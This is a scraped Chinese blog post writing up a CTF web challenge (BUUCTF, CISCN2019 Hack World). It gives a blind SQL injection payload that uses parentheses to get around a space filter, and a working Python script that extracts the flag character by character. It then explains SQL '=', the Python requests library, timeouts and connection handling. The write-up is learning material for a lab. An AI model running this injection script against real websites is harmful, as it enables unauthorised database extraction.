当前位置: 首页 > news >正文

buuctf web刷题 [CISCN2019 华北赛区 Day2 Web1]Hack World

f"(select(ascii(mid(flag,{num},1))={ord(i)})from(flag))"
首先绕过黑名单 ()绕过禁用空格
mid理解 eg:id=(select(ascii(mid(flag,num,1))=102)from(flag))
mid切片从1开始,1也对应第一个,第三个参数是数几个。这里是flag字符串从第一个数1个
ascii是sql语法,转ascii数字
= 这里是比较,是sql语法。
ord是python语法,转ascii数字
import requests
import string
url='http://00f55998-dd43-4d8d-ad1e-40686894a4fd.node5.buuoj.cn:81/index.php'
strings = string.digits + string.ascii_letters + '_-{}' 
flag=''
#创建会话对象,复用底层的连接池配置。避免反复创建连接,主机多个端口爆炸,服务器多个连接数爆炸
s = requests.Session()
#猜70位,找完提前终止
for num in range(1,70):#找完终止位found_char=Falsefor i in strings:payload=f"(select(ascii(mid(flag,{num},1))={ord(i)})from(flag))"post_data = {"id": payload}#发送请求出现问题try:res=s.post(url=url,data=post_data,timeout=1)except Exception as e:print(f"[-] 请求错误: {e}")continue#找到了当前位的字符,跳出内层循环if 'Hello' in res.text:flag+=iprint(f"第 {num} 位: {i} -> 当前 flag: {flag}")found_char = Truebreak#如果没有找到当前位的字符,跳出外层循环,提前终止if found_char==False:print("flag找完")print(flag)break

sql语句=的含义

SET 赋值 (修改数据) UPDATE users SET age=20 ... 把 age 的值 改成 20
WHERE / SELECT 比较 (筛选/判断) SELECT * FROM users WHERE age=20 找出 age 等于 20 的人

sql语句只有=,没有==,==会报错。

但=有两种意思,一个是比较,一个是赋值。在set里是赋值,select和where 后都是比较。

requests的语法post_data =

你的代码逻辑是标准的 Python requests 用法,发送给服务器的数据就是标准的 id=xxx 格式,不需要修改

字典写法 ({"id": payload})

requests 库非常智能,它会自动帮你做两件事:

  1. 拼接字符串:它会把字典里的键值对用 & 连接,变成 id=你的payload 这种格式。

  2. 设置请求头:它会自动把 Content-Type 设置为 application/x-www-form-urlencoded(这是表单提交的标准格式)。

  3. 自动编码:如果你的 payload 里包含特殊字符(比如空格、&= 等),字典写法通常能更安全地处理编码问题,防止格式错乱。

requests.post(url, data=f"id={payload}")
requests.post(url, data={"id": payload})一样的

关于 timeout=1

它不是“延迟 1 秒”,而是“等待的极限”

  • 误区:很多人以为它像 sleep(1) 一样,发完请求后强制等 1 秒。

  • 真相

    :它是给服务器设定的死线

    • 如果服务器在 1 秒内 返回了结果,脚本立刻继续往下跑。
    • 如果服务器 超过 1 秒 还没理你,脚本就会报错(Timeout 异常),停止等待。

关于建立session和Connection: close理解

  • requests.Session()(客户端管家)
    它的作用是在你的 Python 脚本里维护一个“环境”。比如自动保存 Cookie(让你保持登录状态)、复用底层的连接池配置。只要你用 s.postSession 就在努力工作。
  • Connection: close(服务器指令)
    这是一个发给服务器的信号。它的意思是:“服务器大哥,这次请求回传完后,你(服务器)就把这个 TCP 连接关掉吧,别留着了。”

如果不用requests.Session(),Connection: close的结果

requests 库底层使用 urllib3 来管理连接。即使你不使用 Sessionrequests 在幕后依然会为每个域名维护一个默认的连接池(默认最大连接数通常是 10)。

  • 现象:你的脚本跑得飞快,瞬间发起了 20 个请求。
  • 结果:前 10 个请求占用了池子里的 10 个连接。因为默认是“长连接”(Keep-Alive),这些连接不会马上断开。第 11 个请求进来时,发现池子满了,就会卡住等待,直到有空闲连接释放。
  • 报错:如果等待时间过长或并发过高,就会抛出 urllib3.exceptions.ConnectionPoolError 或类似的“连接池已满”错误。

用了Connection: close

因为加了 close,服务器主动断开。

进入 TIME_WAIT,你的端口进入 TIME_WAIT 状态(占用 60 秒),但它已经释放了连接池名额。

总结

  • 不会报错:你不会遇到“连接池满”的报错,因为每次连接断开后都从池子里移除了。
  • 速度变慢:每次都要重新进行 TCP 三次握手(多花几十毫秒)。
  • 端口耗尽风险:如果你跑得极快(比如每秒几百次),持续跑几分钟,把几万个端口都占满了(都在 TIME_WAIT),这时候才会报错 Cannot assign requested address。但对于 SQL 盲注这种速度,通常跑不到端口耗尽脚本就跑完了。
http://www.jsqmd.com/news/609108/

相关文章:

  • 港澳升学规划专业机构 - 中媒介
  • 避坑指南:混淆矩阵与ROC曲线常见的5种误用场景(附诊断建议)
  • CH579 CH573 CH582 CH592 蓝牙主机安全机制深度解析——从配对到重连实战指南
  • 避坑!这些毕设太好抄了,3000+毕设案例推荐第1043期
  • 广东 靠谱 NTC 厂家怎么选 - 中媒介
  • 海外名校合作资源 - 中媒介
  • CameraView生命周期管理终极指南:与Activity和Fragment的完美配合方案
  • stock-sdk-mcp 的实践整理技
  • 自然堂冲刺港股:年营收53亿 利润3.5亿 估值71亿
  • 汕头 NTC 厂家排名 哪家性价比高 - 中媒介
  • Python setup.py终极指南:从零到精通的完整配置教程
  • Win10精简天花板X-Lite Optimum 10 Pro v6
  • React Credit Cards 性能优化:如何实现轻量级6KB的信用卡组件
  • 最新陪玩陪聊系统网站源码 娱乐交友系统公众号版
  • Python 实现海康工业相机多格式图像数据回调解析与 OpenCV 实时显示
  • 湖北莲藕供应商哪家价格合理? - 中媒介
  • Agent Client Protocol 全景解析雀
  • 汕头 NTC 厂家排名哪家性价比高 - 中媒介
  • OFDM载波频率偏差(CFO)估计:从理论到MATLAB实践
  • Medusa安全考虑:在加速生成时如何保持输出质量的完整指南
  • 【快速EI检索 | ACM出版】2026年人工智能与生成式设计国际学术会议(ICAIGD 2026)
  • CameraView录制时长控制终极指南:如何实现精确的视频时长限制
  • 双非逆袭!25年兰大计算机专硕上岸率超84%,我的跨考保姆级攻略(含806专业课避坑指南)
  • 手把手配置AUTOSAR E2E Transformer Chain:从ComXf到E2EXf的完整数据流解析
  • 为什么你的AOT二进制仍含libpython.so?:2026原生AOT「纯静态链接」配置密钥(仅限PSF认证开发者获取的.aot-profile文件)
  • 湖南大米直营店哪家产品全? - 中媒介
  • 目标检测指标评估完整指南:从理论到实践掌握PASCAL VOC标准
  • Intv_AI_MK11与PyCharm深度集成:打造AI全栈开发环境
  • AI Agent平台架构解析与企业级应用实践
  • 麒麟V10系统升级OpenSSH 9.9p1保姆级避坑实录(附OpenSSL 3.4.1编译指南)